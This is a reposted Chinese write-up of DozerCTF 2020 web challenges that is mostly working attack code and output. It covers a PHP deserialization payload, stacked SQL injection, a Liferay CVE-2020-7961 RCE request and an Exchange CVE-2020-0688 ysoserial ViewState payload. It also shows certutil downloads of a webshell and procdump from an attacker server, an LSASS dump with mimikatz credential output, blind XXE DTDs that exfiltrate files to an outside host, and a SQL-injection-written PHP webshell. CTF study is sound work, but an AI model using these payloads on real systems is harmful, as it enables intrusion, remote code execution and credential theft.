DozerCTF-2020-Web-writeup


本文首發於Leon的Blog,如需轉載請注明原地址並聯系作者

真·簽到

下載下來是一個exe,打不開,拖進winhex發現:
R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=
base64解碼后:
GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE===
只有大寫字母和數字應該是base32,解碼后:
3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B
一般base32完是十六進制:
5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk
由於Base58采用的字符集合為“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,從這不難看出,Base58是純數字與字母組成而且去掉了容易引起視覺混淆的字符(0:數字零,O:大寫O,I:大寫i,l:小寫L)。9個數字+49個字母=58個。
所以猜測是base58:
Dozerctf{base_family_is_so_good}

白給的反序列化

入門反序列化題
源碼:

<?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

if ($_GET['path']) {
    $path = @$_GET['path'];
    unserialize($path);
} else {
    highlight_file(__FILE__);

}
?>

poc:

<?php
//poc
class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}
$poc = new home("mysys",array("flag.php"));
$a = urlencode(serialize($poc));
print_r($a);
serialize($a);
?> 

payload:
?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4=
base64:<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>

sqli-labs 0

根據hint將接下來sql注入的語句全部用url二次編碼就行
id=1' # 單引號注入,select被過濾,根據經驗直接堆疊
1';show databases;#
1';show tables;#
1';show columns from uziuzi;#
1';handler uziuzi open;handler uziuzi read first;#
回顯得到flagflag{594cb6af684ad354b4a59ac496473990}

簡單域滲透-flag1

利用CVE-2020-7961命令執行

參考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
CVE-2020-7961 Liferay Portal 反序列化RCE分析

漏洞說明

這題入門漏洞很容易找到,而且網上復現的文章挺多
該洞是個反序列化導致的rce,通過未授權訪問其api傳遞json數據進行反序列化達到加載外部惡意class進而命令執行

影響范圍

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

環境搭建

liferay-portal下載帶tomcat的集成版,進入到liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin目錄,執行:.\catalina.bat run等待一會就啟動了,訪問8080端口即可

漏洞復現

LifExp.java文件:

public class LifExp { 
    static { 
        try { 
            String[] cmd = {"cmd.exe", "/c", "calc.exe"};
            java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); 
        } catch ( Exception e ) { 
            e.printStackTrace(); 
        } 
    } 
}
  • 將LifExp.java放在vps上,因為需要靶機能訪問到,使用javac LifExp.java生成LifExp.class
  • 要構造payload還需要一個包:marshalsec-0.0.3-SNAPSHOT-all.jar
    我放到藍奏雲上了,有需要自行下載
  • 使用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp生成序列化內容(這里的ip是你提供惡意class的vps)
  • 在vps上使用python3 -m http.server 8500在當前目錄啟動端口8500的web服務
  • 用bp發包:
POST /api/jsonws/invoke HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1349
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;"}
  • WrapperConnectionPoolDataSource=后面的內容換成marshalsec生成的序列化內容

    成功彈出計算器,(計算器也很無奈)

利用certutil進行遠程下載webshell

  • certutil和bitsadmin都可以進行遠程http請求,本地用:
certutil.exe -urlcache -split -f "http://ip:8500/leon.txt“ leon.txt

bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:\leon.txt

都可以成功遠程下載文件

  • LifExp.java中需要構造一下:
String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:8500/cmdcmd.jsp", "..\\webapps\\ROOT\\cmdcmd.jsp"};

cmdcmd.jsp是webshell,經過本地測試執行命令的當前路徑在liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin
所以需要目錄穿越到index.jsp的文件夾,(這里智障了,以為java不能直接訪問到沒有進行目錄映射的jsp,就一直沒寫文件到這個目錄)

  • 然后一樣的步驟,生成class文件,post包發過去,就成功在index.jsp目錄寫入了webshell,蟻劍直接連接即可(有些webshell蟻劍不能連)

flag在桌面C:/Users/root/Desktop/flag.txt
Dozerctf{a993e8ce377e05b2cbfa460e43e43757}

  • 方便后續操作可以寫個jsp反彈shell

簡單域滲透-flag2

先進行簡單信息收集,列出域信任關系:

nltest /domain_trusts

環境為單域,查看ip信息,一般dns服務器就是dc:
ipconfig /all:

C:\Users\root>ipconfig /all

Windows IP ����

   ������  . . . . . . . . . . . . . : Dozer-dmz01
   �� DNS ��׺ . . . . . . . . . . . : dozer.org
   �ڵ�����  . . . . . . . . . . . . : ���
   IP ·�������� . . . . . . . . . . : ��
   WINS ���������� . . . . . . . . . : ��
   DNS ��׺�����б�  . . . . . . . . : dozer.org

��̫�������� Ethernet0:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ����������
   �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ) 
   IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ) 
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : 
   DHCPv6 IAID . . . . . . . . . . . : 251661353
   DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
   DNS ������  . . . . . . . . . . . : 10.10.10.3
   TCPIP �ϵ� NetBIOS  . . . . . . . : ������

��̫�������� Ethernet1:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2
   �����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ) 
   IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ) 
   ��������  . . . . . . . . . . . . : 255.255.255.0
   �����Լ��ʱ��  . . . . . . . . . : 2020��6��14�� 23:42:47
   ��Լ���ڵ�ʱ��  . . . . . . . . . : 2020��6��17�� 23:42:54
   Ĭ������. . . . . . . . . . . . . : 192.168.150.200
   DHCP ������ . . . . . . . . . . . : 192.168.150.200
   DHCPv6 IAID . . . . . . . . . . . : 352324649
   DHCPv6 �ͻ��� DUID  . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
   DNS ������  . . . . . . . . . . . : 192.168.150.200
   TCPIP �ϵ� NetBIOS  . . . . . . . : ������

��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�
   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
   �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��

��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}:

   �����ض��� DNS ��׺ . . . . . . . : 
   ����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4
   �����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP ������ . . . . . . . . . . . : ��
   �Զ�����������. . . . . . . . . . : ��
   �������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ) 
   Ĭ������. . . . . . . . . . . . . : 
   DNS ������  . . . . . . . . . . . : 192.168.150.200
   TCPIP �ϵ� NetBIOS  . . . . . . . : �ѽ���

可以看到幾個兩個網段,根據經驗,一個192.168.150.x應該是宿主機所在ip段,不用管,所以另外的10.10.10.x段應該是虛擬機內部網段
10.10.10.2是本機,所以一般DNS服務器10.10.10.3就是DC

獲取本機hash

先下載mimikatz
reg save hklm\sam sam
reg save hklm\system system
然后下載到本地使用mimikatz:


得到root也就是當前用戶密碼:P@ssw0rd

  • 直接嘗試netstat -na發現3389端口開啟,嘗試用root用戶登錄
    首先得進行內網代理,使用reGeorg即可
    登錄成功:

轉儲內存抓域憑證:

根據提示使用使用微軟官方procdump.exe dump內存:
直接使用certutil.exe -urlcache -split -f "http://ip:8500/procdump64.exe“ procdump64.exe即可
然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp

然后執行:

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 78250732 (00000000:04aa02ec)
Session           : RemoteInteractive from 5
User Name         : root
Domain            : DOZER-DMZ01
Logon Server      : DOZER-DMZ01
Logon Time        : 2020/6/16 12:47:35
SID               : S-1-5-21-1495210691-4001662545-2502461571-1001
        msv :
         [00000003] Primary
         * Username : root
         * Domain   : DOZER-DMZ01
         * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
        tspkg :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        wdigest :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        kerberos :
         * Username : root
         * Domain   : DOZER-DMZ01
         * Password : P@ssw0rd
        ssp :
        credman :
         [00000000]
         * Username : dozer\shark
         * Domain   : dozer-dc.dozer.org
         * Password : P@ssword

Authentication Id : 0 ; 78236002 (00000000:04a9c962)
Session           : Interactive from 5
User Name         : DWM-5
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2020/6/16 12:47:32
SID               : S-1-5-90-5
        msv :
         [00000003] Primary
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * NTLM     : 0aede09a6722cd9c04eb892f5af27068
         * SHA1     : e668a6f212e2c5c8780685436732bb3d64a4e7f0
        tspkg :
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        wdigest :
         * Username : DOZER-DMZ01$
         * Domain   : DOZER
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        kerberos :
         * Username : DOZER-DMZ01$
         * Domain   : dozer.org
         * Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
        ssp :
        credman :

Authentication Id : 0 ; 77940254 (00000000:04a5461e)
Session           : Interactive from 0
User Name         : shark
Domain            : DOZER
Logon Server      : DOZER-DC
Logon Time        : 2020/6/16 12:45:28
SID               : S-1-5-21-341825-3789073605-4250195040-1109
        msv :
         [00000003] Primary
         * Username : shark
         * Domain   : DOZER
         * LM       : 921988ba001dc8e14a3b108f3fa6cb6d
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 9131834cf4378828626b1beccaa5dea2c46f9b63
        tspkg :
         * Username : shark
         * Domain   : DOZER
         * Password : P@ssw0rd
        wdigest :
         * Username : shark
         * Domain   : DOZER
         * Password : P@ssw0rd
        kerberos :
         * Username : shark
         * Domain   : DOZER.ORG
         * Password : P@ssw0rd
        ssp :
        credman :

發現shark用戶的密碼也是P@ssw0rd
(其實可以直接操作這步拿root密碼)

使用dsquery導出域信息

dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 > leon.txt
得到:leon
根據提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851}

簡單域滲透-flag3

根據提示和拿到的域信息,找到EXCHANGE SERVERS組:

cn: DOZER-EXCHANGE
distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org
instanceType: 4
whenCreated: 05/13/2020 15:06:52
whenChanged: 06/13/2020 09:49:14
displayName: DOZER-EXCHANGE$
uSNCreated: 16419
memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org
memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
uSNChanged: 71171
name: DOZER-EXCHANGE
objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421}
userAccountControl: 4096

得知提供EXCHANGE郵箱服務的機器名為DOZER-EXCHANGE

  • 可以使用ping或者nslookup機器名得到ip:

    所以定位到10.10.10.4
    使用用戶名dozer\shark,密碼P@ssw0rd登錄,拿到flag3:
    Dozerctf{9b35c916c37b00f3359d49b6c9c99667}

簡單域滲透-flag4

根據EXCHANGE的漏洞,搜索找到CVE-2020-0688

參考:CVE-2020-0688 exchange遠程代碼執行漏洞復現
ExchangeServer漏洞CVE-2020-0688復現

簡單復現

我們需要四個參數:

–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)

–validationalg = SHA1(默認,漏洞產生原因)

–generator=B97B4E27(基本默認)

–viewstateuserkey = ASP.NET_SessionId(手工獲取,變量,每次登陸都不一致)

前兩個值都是默認的,我們只需要找到后兩個值即可

獲取viewstateuserkey

登錄后訪問 /ecp/default.aspx,F12打開開發者工具欄,打開Network
viewstateuserkey位於:default.aspx–>Headers–>ASP.NET_SessionId中:
重新發送請求即可找到:

獲取generator值

源碼搜索__VIEWSTATEGENERATOR獲取字段值:(這個值基本上也是相同的)

使用ysoserial.exe生成序列化payload

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="247061cc-fb54-4d4e-bb66-233ffc8e3848" --isdebug -islegacy

獲得shell

這里寫一個msf馬,因為這台機器沒有殺軟
payload:

https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTAT
E=<ViewState>

<ViewState>替換為ysoserial.exe生成的序列化內容並進行url編碼:

即圖中紅框位置

訪問獲得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba}

簡單域滲透-flag5

持續更新ing

svgggggg!

這題是一個盲打XXESSRF,關於SVG圖片的漏洞可以參考:
Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web

SVG,代表可擴展矢量圖形是一種基於 XML 的矢量圖像格式,用於二維圖形,支持交互性和動畫。SVG 圖像及其行為在 XML 文本文件中定義。可以使用任何文本編輯器以及繪圖軟件創建和編輯它們。所有主要的現代 Web 瀏覽器都有 SVG 渲染支持。

簡單測試了一下發現沒有回顯,需要外帶信息
在vps上構造惡意svg和xml:
xxx.svg:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY % int SYSTEM "http://ip:8500/a.xml">
%int;
%all;
%send;
]>
<svg height="100" width="1000">
  <text x="10" y="20">&send;</text>
</svg>

a.xml:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

根據提示拿到用戶r1ck的操作記錄:

cd /app
php -S 0.0.0.0:8080

可以看到在8080端口有web服務,由於靶機是內網穿透出來的,所以我們不能直接訪問到8080端口,只能利用xxe打ssrf

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'>">

得到:

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>

Array
(
    [id] => 1
    [name] => test
)

發現是個sql注入,嘗試注入發現列數為2,然后根據提示寫shell
要進行url編碼

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

shell語句部分也可以進行hex編碼:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

寫進去后直接利用即可:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls">

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">

看到flag文件直接cat拿到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM